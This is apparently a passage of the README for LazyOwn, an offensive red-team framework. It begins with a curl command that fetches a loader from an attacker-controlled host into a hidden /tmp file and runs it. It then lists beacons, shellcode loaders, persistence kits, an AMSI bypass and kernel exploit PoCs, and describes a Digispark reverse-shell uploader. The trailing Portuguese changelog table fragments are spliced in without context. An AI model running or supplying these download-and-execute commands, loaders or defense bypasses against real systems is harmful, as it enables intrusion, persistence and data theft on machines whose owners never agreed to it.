curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```
### Porting a Windows BOF to Linux
```c
// Substitua as chamadas da API Win32 por syscalls diretas ou equivalentes da libc.
// A API datap permanece idêntica.
#include "beacon.h"
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
char *target = BeaconDataExtract(&parser, NULL);
// Linux: use syscall(SYS_open, ...) em vez de CreateFile
BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```
Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`
### Adoption gap this closes
| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |
## Related Projects
LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).
### Lightweight beacons (C / ASM)
Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:
- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.
### Lightweight C2 frameworks
Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:
- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.
### AI / orchestration
Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:
- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.
### Loaders, shellcode runners and post-exploitation
Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:
- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.
### Defensive bypass / instrumentation
- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.
### Exploits and CVE PoCs
LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:
- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.
> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.
## Abstract
LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.
## Lazyducky_digispark
Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.
This method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device.
The method performs the following actions:
1. Checks for the presence of Arduino CLI and installs it if not available.
2. Configures Arduino CLI for Digispark if not already configured.
3. Generates a reverse shell payload and prepares the sketch for Digispark.
4. Compiles the prepared Digispark sketch using Arduino CLI.
5. Checks for the presence of Micronucleus and installs it if not available.
6. Uploads the compiled .hex file to the Digispark device using Micronucleus.
Args:
line (str): Command line input provided by the user, which may contain additional parameters.
Returns:
None: The function does not return any value but may modify the state of the system
by executing commands.
## Star History
<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
</picture>
</a>
# Documentation by readmeneitor.py
Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.
## ReadMenator now have a repository
[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)
# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
---
<!-- START UTILS -->
# LazyOwn Command Reference
Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.
## Table of Contents
- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)
---
## 01. Reconnaissance
### `alterx`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'
### `apache_users`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs enumeration of users from a target system using `apache-users`.
### `binarycheck`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs various checks on a selected binary to gather information and protections.
### `cve`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Search for a CVE using the CIRCL API.
### `dig`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Executes the `dig` command to query DNS information.
### `dnschef`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the DNSChef tool to monitor DNS queries and intercept responses.
### `dnsenum`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.
### `dnsmap`
---
[Read more](https://github.com/grisuno/lazyown)
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary e qualquer run_command cujo corpo corresponda a rm -rf / exfil / wipe / encrypt-file agora exigem um argumento explícito confirm=true. |
| Impede ações destrutivas acidentais de loops autônomos. |
| Proveniência + confiança em credenciais | Cada credencial exposta via target_context inclui is_likely_credential, confidence, classification e um bloco provenance (source_file, line_no, captured_at) quando encontrada. | Necessário para cadeia de custódia em relatórios de pentest. |
| Anotações de atualidade | Cada arquivo de evidência no SITREP JSON e target_context carrega age_seconds, age_human e stale=true assim que excede freshness_threshold_seconds (padrão 7 dias; configurável por chamada). | Impede o agente de explorar sobre evidências de reconhecimento desatualizadas. |
secretsdumpPayloadAwareCompleter |
| Resolução dinâmica de alias | cli/aliases.py agora usa lazy=True por padrão: os templates de alias mantêm seus placeholders {rhost}/{lhost}/etc. e são renderizados contra self.params no momento da execução. set rhost X propaga para cada alias na próxima tecla (sem reiniciar o shell). A pré-substituição ainda está disponível com lazy=False. | DynamicAliasResolver, cli/aliases.py |